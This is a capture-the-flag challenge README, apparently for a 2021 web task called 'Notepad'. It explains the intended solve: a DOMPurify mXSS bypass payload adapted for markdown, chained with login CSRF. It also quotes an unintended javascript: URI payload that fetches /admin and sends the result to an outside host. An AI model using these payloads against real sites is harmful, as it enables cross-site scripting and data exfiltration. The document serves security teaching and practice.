README.md

Notepad

Category: web

Difficulty: Hard

Author: todo#7331

Flavour

I made a markdown editor for all your hacking notes!

Description

A CSRF challenge which aims to get users to weaponize a self XSS.

Users able able to do a simple self stored xss using a well-known mxss payload to bypass dompurify. The difficulty will be to modify this payload into something that can perform non-trivial actions. Pretty much every page on the site is also vulnerable to CSRF attacks. Players can hence direct the admin to a custom site containing two iframes to perform a CSRF chain exploit in order to leak the content of a admin-only route.

Difficulty is hard as it involves chaining together two medium-hard difficulty exploits.

Writeup

A solve script can be found in ./solve - the hosts will need to be updated

1. Player notices the use of DOMPurify < 2.1.0, this has well known mxss bypasses.
   1. e.g. <math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">
   2. This payload needs to be slightly adapted since it is injected into a markdown environment which will wrap it in <p></p>
   3. Since this is naive we can wrap this as a</p>MXSS<style> to close the opening <p> and ignore the trailing </p>
2. Player is then able to setup a arbitrary self-xss
3. Player notices /admin endpoint which probably we want to look at
4. Player notices the compelte lack of csrf protections on a application that is very form driven
5. Player constructs a exploit chain as follows
   1. Player puts a self-xss payload which attempt to exfil the contents of /admin
   2. Player performs a CSRF to login the admin in as their own account
      1. The player observes that the login doesn't reset the admin flag and as such we can both trigger the self-xss and be a admin
   3. The self-xss triggers and exfils the flag

Unintended Solves

• An unintended solve was found where it was possible to send the admin directly to a javascript: uri, allowing simple xss without any csrf
  • Payload by @WeaveAche: javascript:fetch("https://web-notepad-f6ed1a7d.chal-2021.duc.tf/admin").then(a => {a.text().then(b)=>fetch("http://example.com/?data="+btoa(b))})})

Running

docker-compose up

Can be shared, we don't even need to pray to the uuid gods.